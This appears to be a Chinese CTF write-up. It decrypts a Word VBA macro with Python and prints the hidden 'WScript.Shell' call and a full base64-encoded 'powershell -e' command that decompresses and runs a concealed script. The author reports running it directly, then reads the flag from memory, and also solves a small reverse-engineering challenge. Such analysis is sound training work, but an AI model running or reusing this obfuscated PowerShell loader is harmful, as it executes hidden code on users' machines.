    "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw=="
)

# 2. 解码密钥
key_bytes = base64.b64decode(b64_key_string)

# 3. 从VBA代码中提取所有加密数据和偏移量
encrypted_parts = [
    # CreateObject(...) 的参数
    {"data": [135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56], "start": 3},
    {"data": [201, 1], "start": 14},
    # .Run(...) 的参数
    {"data": [137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128,
              213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45,
              9, 205, 183, 34], "start": 16},
    {"data": [199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117,
              184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218,
              32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99,
              37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203], "start": 66},
    {"data": [102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117,
              27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134,
              127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221,
              131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92],
     "start": 155},
    {"data": [234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18,
              176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174,
              198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57,
              182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79],
     "start": 244},
    {"data": [209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158,
              117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170,
              29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167,
              133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10], "start": 333},
    {"data": [81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210,
              111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102,
              54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111,
              154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145], "start": 422},
    {"data": [220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156,
              210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180,
              3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155,
              186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101], "start": 511},
    {"data": [173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92,
              27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0,
              206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54,
              130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126], "start": 600},
    {"data": [246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232,
              223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218,
              222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77,
              86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120],
     "start": 689},
    {"data": [21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62,
              159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187,
              36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123,
              74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183],
     "start": 778},
    {"data": [220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160,
              224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71,
              245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168,
              181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163],
     "start": 867},
    {"data": [116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113,
              86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182,
              181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2,
              246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161],
     "start": 956},
    {"data": [129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102,
              26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118,
              200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214,
              133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210],
     "start": 1045},
    {"data": [221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239,
              155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2,
              4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109,
              154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29], "start": 1134},
    {"data": [250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41,
              197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209,
              1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104,
              155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87],
     "start": 1223},
    {"data": [214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134,
              143, 30, 38, 64, 222, 22], "start": 1312},
]

# 4. 解密并拼接
object_name = ""
run_argument = ""

# 解密CreateObject的参数
object_name += unxor(encrypted_parts[0]['data'], encrypted_parts[0]['start'], key_bytes)
object_name += unxor(encrypted_parts[1]['data'], encrypted_parts[1]['start'], key_bytes)

# 解密Run的参数
for part in encrypted_parts[2:]:
    run_argument += unxor(part['data'], part['start'], key_bytes)

# 5. 打印结果
print("=" * 30)
print("Decrypted Object Name:")
print("=" * 30)
print(object_name)
print("\n" + "=" * 30)
print("Decrypted Run Argument:")
print("=" * 30)
print(run_argument)

输出：

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D:\python-learn\ctf\.venv\Scripts\python.exe D:\python-learn\ctf\GEEK\hong.py 
==============================
Decrypted Object Name:
==============================
WScript.Shell

==============================
Decrypted Run Argument:
==============================
powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

进程已结束，退出代码为 0

我们直接在powershell里输入那个命令

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powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

但要输密码，由于之前写过类似的题目（lilctf2025等），我们直接用ProcessHacker读取内存

FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

c-wgb

反编译后，主函数中可用看到这个函数

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unsigned __int64 __fastcall ba(__int64 a1, size_t *a2)
{
  size_t i; // [rsp+18h] [rbp-68h]
  char v4[20]; // [rsp+2Ch] [rbp-54h] BYREF
  char v5[56]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  strcpy(&v4[6], "djqjnqdwgtj!");
  strcpy(v4, "flag{");
  pp(v5, v4, &v4[6]);
  pp(v5, v5, &unk_2004);
  *a2 = strlen(v5);
  for ( i = 0LL; i < *a2; ++i )
    *(_BYTE *)(a1 + i) = v5[i];
  return __readfsqword(0x28u) ^ v6;
}

查看unk_2004的数据

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.rodata:0000000000002004 7D                            unk_2004 db  7Dh ; }

很显然了这就是flag

flag{djqjnqdwgtj!}